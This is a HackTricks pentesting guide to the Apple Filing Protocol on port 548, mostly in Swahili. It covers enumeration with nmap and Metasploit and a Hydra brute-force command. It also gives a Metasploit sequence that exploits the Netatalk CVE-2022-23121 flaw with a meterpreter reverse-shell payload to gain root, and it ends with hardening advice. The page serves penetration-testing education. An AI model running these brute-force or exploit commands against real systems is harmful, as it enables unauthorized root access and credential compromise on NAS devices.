548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

The Apple Filing Protocol (AFP), zamani ikijulikana kama AppleTalk Filing Protocol, ni protokali maalum ya mtandao iliyojumuishwa ndani ya Apple File Service (AFS). Imeundwa kutoa huduma za faili kwa macOS na Mac OS ya jadi. AFP inajitofautisha kwa kuunga mkono majina ya faili ya Unicode, ruhusa za mtindo wa POSIX na ACL, forks za rasilimali, sifa za ziada zenye majina na mifumo ya kisasa ya kufunga faili.

Ingawa AFP imeondolewa na SMB katika toleo za kisasa za macOS (SMB ni chaguo-msingi tangu OS X 10.9), bado inakutana katika:

  • Mazingira ya zamani ya macOS / Mac OS 9
  • Vifaa vya NAS (QNAP, Synology, Western Digital, TrueNAS…) vinavyoshirikisha daemon ya wazi Netatalk
  • Mitandao ya mchanganyiko ya OS ambapo Time-Machine-over-AFP bado imewezeshwa

Default TCP Port: 548 (AFP over TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

Quick banner / server info

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Useful AFP NSE scripts:

ScriptWhat it does
afp-lsOrodha ya kiasi na faili za AFP zinazopatikana
afp-bruteNguvu ya nywila dhidi ya kuingia kwa AFP
afp-serverinfoTupa jina la seva, aina ya mashine, toleo la AFP, UAM zinazoungwa mkono, nk.
afp-showmountOrodha ya sehemu pamoja na ACL zao
afp-path-vulnHupata (na inaweza kutumia) mwelekeo wa saraka, CVE-2010-0533

The NSE brute-force script can be combined with Hydra/Medusa if more control is required:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

Kuingiliana na hisa

macOS

bash
# Finder β†’ Go β†’ "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (ukitumia afpfs-ng ‑ iliyopakiwa katika usambazaji nyingi)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Mara tu imewekwa, kumbuka kwamba rasilimali za Mac za jadi zinaifadhiwa kama faili za siri ._* AppleDouble – hizi mara nyingi zina data muhimu ambayo zana za DFIR zinakosa.


Uthibitisho wa Kawaida & Ukatili

Mnyororo wa RCE usio na uthibitisho wa Netatalk (2022)

Wauzaji kadhaa wa NAS walituma Netatalk ≀3.1.12. Ukosefu wa ukaguzi wa mipaka katika parse_entries() unaruhusu mshambuliaji kuunda kichwa kibaya cha AppleDouble na kupata root ya mbali kabla ya uthibitisho (CVSS 9.8 – CVE-2022-23121). Andiko kamili kutoka NCC Group lenye PoC inayotumia Western-Digital PR4100 linapatikana.

Metasploit (>= 6.3) inatoa moduli exploit/linux/netatalk/parse_entries ambayo inatoa mzigo kupitia DSI WRITE.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Ikiwa lengo linaendesha firmware iliyoathiriwa ya QNAP/Synology, ufanisi wa unyakuzi unatoa shell kama root.

Netatalk OpenSession heap overflow (2018)

Netatalk ya zamani (3.0.0 - 3.1.11) ina udhaifu wa kuandika nje ya mipaka katika DSI OpenSession handler inayoruhusu utekelezaji wa msimbo usio na uthibitisho (CVE-2018-1160). Uchambuzi wa kina na PoC zilichapishwa na Tenable Research.

Masuala mengine muhimu

  • CVE-2022-22995 – Uelekeo wa symlink unaopelekea kuandika faili bila mipaka / RCE wakati AppleDouble v2 imewezeshwa (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Safari ya saraka katika Apple Mac OS X 10.6 AFP (ilivyogunduliwa na afp-path-vuln.nse).
  • Hitilafu nyingi za usalama wa kumbukumbu zilisuluhishwa katika Netatalk 4.x (2024) – inapendekezwa kuboresha badala ya kurekebisha CVEs za kibinafsi.

Mapendekezo ya Kijamii

  1. Zima AFP isipokuwa inahitajika kwa dharura – tumia SMB3 au NFS badala yake.
  2. Ikiwa AFP lazima ibaki, boresha Netatalk hadi β‰₯ 3.1.18 au 4.x, au tumia firmware ya muuzaji inayorejesha patches za 2022/2023/2024.
  3. Lazimisha UAMs Imara (mfano DHX2), zima maandiko wazi na kuingia kwa wageni.
  4. Punguza TCP 548 kwa subnets zinazotegemewa na uweke AFP ndani ya VPN wakati inakabiliwa mbali.
  5. Piga skana mara kwa mara kwa kutumia nmap -p 548 --script afp-* katika CI/CD ili kugundua vifaa vya uasi / vilivyoshuka.

Brute-Force

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks